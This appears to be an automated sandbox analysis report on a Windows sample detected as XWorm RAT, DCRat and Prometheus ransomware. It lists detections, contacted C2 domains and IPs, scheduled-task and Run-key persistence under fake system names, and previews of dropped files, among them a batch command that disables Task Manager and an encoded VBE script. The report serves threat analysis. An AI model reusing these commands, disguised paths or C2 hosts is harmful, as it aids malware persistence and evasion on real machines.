Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Bypass User Account Control	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	213 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	131 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
cougif6lqM.exe	79%	ReversingLabs	ByteCode-MSIL.Trojan.XWormRAT
cougif6lqM.exe	59%	Virustotal		Browse
cougif6lqM.exe	100%	Avira	TR/Dropper.Gen
cougif6lqM.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Componenthost\providerreviewdhcp.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	100%	Avira	VBS/Runner.VPG
C:\Componenthost\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	100%	Avira	HEUR/AGEN.1323984
C:\Componenthost\aZjsojBpBtPKe.vbe	100%	Avira	VBS/Runner.VPG
C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\8o9UezPTg6.bat	100%	Avira	BAT/Delbat.C
C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\cmd.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Windows Mail\WmiPrvSE.exe	100%	Avira	HEUR/AGEN.1323984
C:\Componenthost\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	100%	Avira	HEUR/AGEN.1323984
C:\Componenthost\providerreviewdhcp.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	100%	Joe Sandbox ML
C:\Componenthost\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	100%	Joe Sandbox ML
C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\javaclient.exe	100%	Joe Sandbox ML
C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe	100%	Joe Sandbox ML
C:\Users\user\cmd.exe	100%	Joe Sandbox ML
C:\Program Files\Windows Mail\WmiPrvSE.exe	100%	Joe Sandbox ML
C:\Componenthost\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	100%	Joe Sandbox ML
C:\Componenthost\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	88%	ReversingLabs	Win32.Ransomware.Prometheus
C:\Componenthost\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	68%	Virustotal		Browse
C:\Componenthost\providerreviewdhcp.exe	88%	ReversingLabs	Win32.Ransomware.Prometheus
C:\Componenthost\providerreviewdhcp.exe	68%	Virustotal		Browse
C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	88%	ReversingLabs	Win32.Ransomware.Prometheus
C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	68%	Virustotal		Browse
C:\Program Files\Windows Mail\WmiPrvSE.exe	88%	ReversingLabs	Win32.Ransomware.Prometheus
C:\Program Files\Windows Mail\WmiPrvSE.exe	68%	Virustotal		Browse
C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe	88%	ReversingLabs	Win32.Ransomware.Prometheus
C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe	68%	Virustotal		Browse
C:\Recovery\csrss.exe	88%	ReversingLabs	Win32.Ransomware.Prometheus
C:\Recovery\csrss.exe	68%	Virustotal		Browse
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	88%	ReversingLabs	Win32.Ransomware.Prometheus
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	68%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	70%	ReversingLabs	Win32.Trojan.Uztuby
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	59%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\javaclient.exe	92%	ReversingLabs	ByteCode-MSIL.Backdoor.XWormRAT
C:\Users\user\AppData\Local\Temp\javaclient.exe	68%	Virustotal		Browse
C:\Users\user\cmd.exe	88%	ReversingLabs	Win32.Ransomware.Prometheus
C:\Users\user\cmd.exe	68%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
bg.microsoft.map.fastly.net	0%	Virustotal		Browse
a1013249.xsph.ru	13%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://a1013249.xsph.ru/@=UGO0gTOkVjZ	100%	Avira URL Cloud	malware
light-liable.gl.at.ply.gg	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://a1013249.xsph.ru/@=UGO0gTOkVjZ	3%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
light-liable.gl.at.ply.gg	147.185.221.17	true	true		unknown
a1013249.xsph.ru	141.8.192.26	true	true	13%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://a1013249.xsph.ru/@=UGO0gTOkVjZ	true	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
light-liable.gl.at.ply.gg	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000017.00000002.1446622675.000002265D836000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000017.00000002.1410489959.000002264D9E9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000017.00000002.1410489959.000002264D9E9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000017.00000002.1410489959.000002264D9E9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000017.00000002.1410489959.000002264D9E9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000017.00000002.1446622675.000002265D836000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000017.00000002.1446622675.000002265D836000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000017.00000002.1446622675.000002265D836000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000017.00000002.1446622675.000002265D836000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000017.00000002.1410489959.000002264D7C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	javaclient.exe, 00000002.00000002.3755345710.0000000003271000.00000004.00000800.00020000.00000000.sdmp, providerreviewdhcp.exe, 00000007.00000002.1383062846.0000000002EDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1410489959.000002264D7C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000017.00000002.1410489959.000002264D9E9000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.185.221.17	light-liable.gl.at.ply.gg	United States		12087	SALSGIVERUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1488678
Start date and time:	2024-08-06 11:51:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	cougif6lqM.exe renamed because original name is a hash value
Original Sample Name:	2bbc8212c548dcb848224a882b32492a.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@45/32@2/1
EGA Information:	Successful, ratio: 20%
HCA Information:	Successful, ratio: 65% Number of executed functions: 433 Number of non-executed functions: 67
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, csrss.exe, schtasks.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Memory Compression.exe, PID 7908 because it is empty
Execution Graph export aborted for target Memory Compression.exe, PID 7984 because it is empty
Execution Graph export aborted for target cmd.exe, PID 7200 because it is empty
Execution Graph export aborted for target cougif6lqM.exe, PID 7276 because it is empty
Execution Graph export aborted for target hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe, PID 7312 because it is empty
Execution Graph export aborted for target hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe, PID 7628 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2128 because it is empty
Execution Graph export aborted for target providerreviewdhcp.exe, PID 7552 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:52:01	API Interceptor	22x Sleep call for process: powershell.exe modified
05:52:13	API Interceptor	13576201x Sleep call for process: javaclient.exe modified
10:52:00	Task Scheduler	Run new task: cmd path: "C:\Users\user\cmd.exe"
10:52:00	Task Scheduler	Run new task: cmdc path: "C:\Users\user\cmd.exe"
10:52:00	Task Scheduler	Run new task: csrss path: "C:\Recovery\csrss.exe"
10:52:00	Task Scheduler	Run new task: csrssc path: "C:\Recovery\csrss.exe"
10:52:00	Task Scheduler	Run new task: hvxmowIikyCfRrhhAMpWFavmEnuKtL path: "C:\Users\Default\PrintHood\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe"
10:52:00	Task Scheduler	Run new task: hvxmowIikyCfRrhhAMpWFavmEnuKtLh path: "C:\Users\Default\PrintHood\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe"
10:52:00	Task Scheduler	Run new task: Memory Compression path: "C:\Program Files (x86)\windows defender\en-GB\Memory Compression.exe"
10:52:00	Task Scheduler	Run new task: Memory CompressionM path: "C:\Program Files (x86)\windows defender\en-GB\Memory Compression.exe"
10:52:01	Task Scheduler	Run new task: WmiPrvSE path: "C:\Program Files\Windows Mail\WmiPrvSE.exe"
10:52:01	Task Scheduler	Run new task: WmiPrvSEW path: "C:\Program Files\Windows Mail\WmiPrvSE.exe"
10:52:14	Task Scheduler	Run new task: JavaClient path: C:\Users\user\AppData\Local\Temp\JavaClient.exe
10:52:15	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run JavaClient C:\Users\user\AppData\Local\Temp\JavaClient.exe
10:52:23	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run JavaClient C:\Users\user\AppData\Local\Temp\JavaClient.exe
10:52:31	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JavaClient.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
147.185.221.17	FUDE.bin.exe	Get hash	malicious	XWorm	Browse
	system47.exe	Get hash	malicious	XWorm	Browse
	setup.exe	Get hash	malicious	XWorm	Browse
	APPoKkkk8h.exe	Get hash	malicious	Unknown	Browse
	hatabat.exe	Get hash	malicious	Blank Grabber, DCRat, XWorm	Browse
	file.exe	Get hash	malicious	Stealerium, SugarDump, XWorm	Browse
	system.bat	Get hash	malicious	XWorm	Browse
	cheeto.exe	Get hash	malicious	XWorm	Browse
	loader.exe	Get hash	malicious	Binder HackTool, XWorm	Browse
	NECOv1fTXe.exe	Get hash	malicious	Neshta, XWorm	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	http://uk.shinydictionary.top/bx4ng7rcoxggna6/g1y0p8nnyk2/ghe35kh63f35h6h4/	Get hash	malicious	Unknown	Browse	199.232.214.172
	Packing List.exe	Get hash	malicious	Snake Keylogger	Browse	199.232.210.172
	MSIBCB9.dll	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://erateadvantage.com	Get hash	malicious	Unknown	Browse	199.232.214.172
	RFQ-SW M-0013091-DHABI EQUIPMENT.TAR	Get hash	malicious	RedLine	Browse	199.232.214.172
	(No subject) (48).eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://singapore-changi-airport.com/transfers	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://royal-glade-286f.kdsj.workers.dev/help/637205020878504	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://nkill-star.github.io/netflix-clone	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	https://navya3396.github.io/netflixhomepage/	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SALSGIVERUS	killer.exe	Get hash	malicious	XWorm	Browse	147.185.221.18
	setup.exe	Get hash	malicious	XWorm	Browse	147.185.221.21
	msedge.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	147.185.221.20
	z5F3uLmKBu.exe	Get hash	malicious	XWorm	Browse	147.185.221.20
	PMRpXCwamC.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	147.185.221.21
	dH3bcNSEKG.exe	Get hash	malicious	XWorm	Browse	147.185.221.20
	Vjy8d2EoqK.exe	Get hash	malicious	Blank Grabber, DCRat, XWorm	Browse	147.185.221.21
	FUDE.bin.exe	Get hash	malicious	XWorm	Browse	147.185.221.17
	SSPInstallerV2.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	147.185.221.20
	Xbox.exe	Get hash	malicious	XWorm, Xmrig	Browse	147.185.221.20

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	ASCII text, with very long lines (591), with no line terminators
Category:	dropped
Size (bytes):	591
Entropy (8bit):	5.855765779588202
Encrypted:	false
SSDEEP:	12:G0np3E3XV40bh8+KqpPkupGcCIIFCMR3wg/BWm+Bl1nPAIIu/:1u3Xrh8+KqxecCGMRNgJDAz0
MD5:	41555E8BE34D68781BF14340B755846A
SHA1:	0471F9C9E3ACC899315FF1394395FC44DBCB4D66
SHA-256:	C27996E0258AF577DAF22147E867825F2C95A0C10DECB7E9E9219CA6A25BF4BC
SHA-512:	ACCD0DFFC8E563AAC3DEDA772AD5EB4C78B8F88BEC9C9B53EDF2817BBEABEC524758F2B094FE4C642612CBE3D1698551E44971023C9FA378D5D6514F7193474C
Malicious:	false
Preview:	R1By0Uv4JLpN8jqcK8XPHL6k0mD4oyr83SmgHLMEunMURwWYX6mJTIcF4a8NQ0QVeqUp6JV8wSfe8mTDQphrMhouzhlrN9y3X1zkcqbNlnXAn8GSH46kTiJ6Cj0ZinuwelHHwsljOTGiKoH1aTkTCNjyr3i20Bp72kfB18fYTXWAbkvXc89PDbuRCSa3KssMoJqkIFAbyMAo0jWGIKZ2BZ3a0N8iilOkpJWS4LPW8ib1bFbd6Tv9S0KOPPt5Gb2M8Z9qMDM75C3d8C9vwfmP0ORy8HDobUQgpO3BFuQ2GyDQ7rPMP8IlznVtILrF9iflwWxuI8pBOtICKB1R11YcLorC3J24CL2iScdk3fDRSHWGeSiGTaNIJCaHpv08Gv8D0kusiRXWxHJESkhklvkm7uYPCV4IoEKhISP4i0iCD1VC2VyENQXULWFGMeqMWOrs6m6AVnBuMhjGYVWqgz5Yq0VvMIsDJWqyJmGQZytkOnHox8s0IApgTSBGQKxM48k01u7vPGQrGUKDsr7Na15JqJe0l99PBgpQCRwCB6lBt8a9I7YiNjwDCbJrQGKPGBqkp4Ba54MeQ3Zssfs

C:\Componenthost\N1me8mpFe7zJQMouCBhkn06ZkahUl.bat

Process:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	153
Entropy (8bit):	5.0227587512891265
Encrypted:	false
SSDEEP:	3:I5qgQ5VZTVNZFQNBZwXD9so3KRfyM1K7eB/k+7W34hebJNAKyMhF7FKD:Ior5VZTV2TStuH1jhRiI36BY
MD5:	399AF29D9E585DFA84153C9E8391A4C2
SHA1:	B187F84C3189AFA7A16A47FD48F1CC13B92240C7
SHA-256:	34C1022005B752640628AE992883C2171B422A1256A326C97DEFCC57DC871C6D
SHA-512:	E7950BCAC463854B2A0F99FA73AA5CC3B828F11CFDA1550EDF1508473DFF031A09FFB5859C6EE39D3B31DFE7A2B99BF723696E22BB599CDAEB758CAE928E59D1
Malicious:	false
Preview:	"C:\Componenthost\providerreviewdhcp.exe" & reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\Componenthost\aZjsojBpBtPKe.vbe

Process:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	5.7731349012435755
Encrypted:	false
SSDEEP:	6:GVwqK+NkLzWbHnPv7qK+NkLzWHmPruTLzvQqIFk+7s:G4MCzWLnP/MCzWGPruHzYo+7s
MD5:	936B4D63770A4CD26E907D7D9D6D4260
SHA1:	70FBA586E95FD236CA8239C0C0B0D678F99F71B7
SHA-256:	A259F59D9035B30DFA5D82F2F8707D6CAF2632841E4BAF00D4A5B019089DEC8C
SHA-512:	3F9ED5DABC43641BF29056C71BBF772A9AF946CE5C55ECB7BD18DD411A8D1CE54993EB56176575F0B9F11FFEF7749C35FDDC96415430271B8708E4A8FF42B5A8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^vwAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2v!b@#@&j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.k4?4+sscIEU~rZlz;GswG.+.YtK/D&18:n%swonFy95\W!ZA4VU!+}0l4js (lOJB~!BPWC^/+gT0AAA==^#~@.

C:\Componenthost\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1271808
Entropy (8bit):	6.974484340050101
Encrypted:	false
SSDEEP:	24576:whRV3k2rJm5LCipfsLZeXYzVt39upvFHmWeNxQklxwwRwiJ21nnw+:whwsMc3xHulstzQkl2wRvJ21nnw
MD5:	8F04E3EE4A119F4B39412E27CED12DE8
SHA1:	6E90446932E03216AFD391499D7407687E362FA9
SHA-256:	6B994DD60BF5C088925A2E28F6864ACDE54CA8B8CEA576470189D1B469A39FF7
SHA-512:	910F27017296DA9051E872D008CFFB5FCFD23CDA69BBA95E60FE94C34A4338B00462FA29C91C04B31E40448FE0B5F48E4C7A5BC2010167B75E086E88B4A40D6C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6.......L... ...`....@.. ....................................@..................................K..K.................................................................................... ............... ..H............text...4,... ...................... ..`.sdata.../...`...0...2..............@....rsrc................b..............@..@.reloc...............f..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Componenthost\providerreviewdhcp.exe

Process:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1271808
Entropy (8bit):	6.974484340050101
Encrypted:	false
SSDEEP:	24576:whRV3k2rJm5LCipfsLZeXYzVt39upvFHmWeNxQklxwwRwiJ21nnw+:whwsMc3xHulstzQkl2wRvJ21nnw
MD5:	8F04E3EE4A119F4B39412E27CED12DE8
SHA1:	6E90446932E03216AFD391499D7407687E362FA9
SHA-256:	6B994DD60BF5C088925A2E28F6864ACDE54CA8B8CEA576470189D1B469A39FF7
SHA-512:	910F27017296DA9051E872D008CFFB5FCFD23CDA69BBA95E60FE94C34A4338B00462FA29C91C04B31E40448FE0B5F48E4C7A5BC2010167B75E086E88B4A40D6C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6.......L... ...`....@.. ....................................@..................................K..K.................................................................................... ............... ..H............text...4,... ...................... ..`.sdata.../...`...0...2..............@....rsrc................b..............@..@.reloc...............f..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Windows Defender\en-GB\1a5d5b8dcee3d8

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	130
Entropy (8bit):	5.61819401701826
Encrypted:	false
SSDEEP:	3:XZgs9HsbMUEhQjqJ+RJDp50U1p8MLKLTXj3NFWQZn:JgyIMUErJuJDXt1nLKLHNFxZ
MD5:	B1A5F65539BC600043623188E425AA9C
SHA1:	207B7C8366B16F1BE8591B16EDC1C2970B0C9259
SHA-256:	12FB68F6754A47C0CB4216405191D54FC3DCDD6A58434B730492397F2EC0A813
SHA-512:	8053CDAB9A94AC6EA78BEB259468B2E0A6A2F3BA5E2BA6E3035B4DF2612BA485DB92F361D3943D32037119C9A1616B95742AA968C4760081F8488F3718CE19BD
Malicious:	false
Preview:	Ew5vV5sR0TO57nSXSwIBb9uXhop9O0CqaT0HQs58qa2LeroxtDc0FjpFBhOrPtCARhfoxKHj0KUAHj3z91PLYMl0nuFteOs7Y146MAAi6295Pp8cnYrXd1mE6oADEXFmbW

C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1271808
Entropy (8bit):	6.974484340050101
Encrypted:	false
SSDEEP:	24576:whRV3k2rJm5LCipfsLZeXYzVt39upvFHmWeNxQklxwwRwiJ21nnw+:whwsMc3xHulstzQkl2wRvJ21nnw
MD5:	8F04E3EE4A119F4B39412E27CED12DE8
SHA1:	6E90446932E03216AFD391499D7407687E362FA9
SHA-256:	6B994DD60BF5C088925A2E28F6864ACDE54CA8B8CEA576470189D1B469A39FF7
SHA-512:	910F27017296DA9051E872D008CFFB5FCFD23CDA69BBA95E60FE94C34A4338B00462FA29C91C04B31E40448FE0B5F48E4C7A5BC2010167B75E086E88B4A40D6C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6.......L... ...`....@.. ....................................@..................................K..K.................................................................................... ............... ..H............text...4,... ...................... ..`.sdata.../...`...0...2..............@....rsrc................b..............@..@.reloc...............f..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Windows Mail\24dbde2999530e

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	ASCII text, with very long lines (771), with no line terminators
Category:	dropped
Size (bytes):	771
Entropy (8bit):	5.900985151127558
Encrypted:	false
SSDEEP:	12:mMKrhd2SS8+2RZn9XDI55EtCXMtyrEhr3fKdBSx2tqfOy/WfMSrWTrlmE6CG0vX4:m1PNZXDsExwQhudq5WpCTMCtKJ62mV2
MD5:	C9E37A0655081F8A6FD5D0B886D932BF
SHA1:	006493A321CEF2BDB5D6530B26EFEDC86BEE2B05
SHA-256:	0438FCF0C4E2852988E71F128269CDFF928CA37B66114DEDB3FE24F4612BE0D0
SHA-512:	0584A6BF0F3BBBFF3A0DC5D5CF97E850A0812F8242D246D8C23D7DF5722B2B229558054CC1559EED6060FDE2DB0A547C3CF79567839B059D52AD20F85AC479D6
Malicious:	false
Preview:	nFFhUdgPz9h96ejxWd2CtxqvrgwnH1RDCRbRAFG3G9z7G95Nps0Mt5CzYTzyr3I7se6pCRxRW96t7tprlj8YAETHPl2qQSLM12OlDPKX4jzt8S2poHNH5t7nKzabYGAExt1FeDoVZkdaPkI6tNBIEDRI4lbNzt9xiu6PawLlc2sUPgXkqdrLF29tctK2mbgpkq2en3f6BZqMV62YN0gVBysqvMwrmS9BVCtjo36x8vJpMwYf1wpv4Kow7LtaGyUsao0SMTuU4tWQoCe8yRz0nOHKY7lcJgqKbbPh5GShBV0KyYH4rumz8eFMhq3PrRKYCMyNx6Ds8SySX6WAzqvZ31L7VDAPMD0uKcHlj4Hur40qpxykT3ZAfveLB12u5xf5bDH5yva5jAr9BfRiOZ6SnzPZ76krCXy4Y4Omp3whdebeDfKgkTfg1MSmys71Ks2MMxkGQp2VnYzIYuVcwEHs1SDLmmx764WulPSQ4DP5bK2cXJODWeFGlKU3uZeo14ZsBFhIbFisyLQrZkydYtkbyQIb4ZfejlEguJbRlFmR5XSZ3mdKkAPHT73v6GOCjEINHu6PJh1THTgb8thR5V4iV7MxQpVf0jr1OERJpNADJ69AacxNi6GOJk1KhJ9dMVchlpN3bYlrU0ZY7MWx2H74dcroNHmgOg1xebYvO3vKUZ3TKcMVwLlEYhEI8jqTwFdx9l4gxlj8VwjEiYdu4RtC5xZ6XPwpNcYO5GTjhqhKmmsl7AjjG5YfVb1MM8Ihy4v3YVI

C:\Program Files\Windows Mail\WmiPrvSE.exe

Process:	C:\Componenthost\providerreviewdhcp.exe
